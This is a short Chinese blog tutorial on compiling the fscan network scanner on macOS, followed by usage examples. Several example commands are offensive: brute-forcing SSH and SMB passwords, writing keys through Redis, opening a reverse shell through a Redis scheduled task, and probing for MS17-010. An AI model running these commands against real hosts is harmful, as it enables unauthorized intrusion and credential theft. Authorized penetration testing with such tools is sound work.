fscan安装及用法- Mac

安装

  1. 安装 go 环境
  2. 下载源码
  3. 进行编译
    • 编译命令:
    • go build -ldflags="-s -w " -trimpath main.go
    • 编译报错:
    • go: github.com/denisenkom/go-mssqldb@v0.11.0: Get "https://proxy.golang.org/github.com/denisenkom/go-mssqldb/@v/v0.11.0.mod": dial tcp 142.251.42.241:443: i/o timeout
    • 解决办法:
    • go env -w GOSUMDB=off
    • go env -w GOPROXY=https://goproxy.cn,direct
    • 再次执行编译,会生成一个 main。这个 main 即查 fscan 可执行文件。

使用教程

简单用法:
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B 段扫描)
其他用法:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过 web poc 扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹 shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块 ssh 和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A 段的 192.x.x.1 和 192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb 密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)

posted @ 2024-04-13 21:50  南川i  阅读(2615)  评论(0)    收藏  举报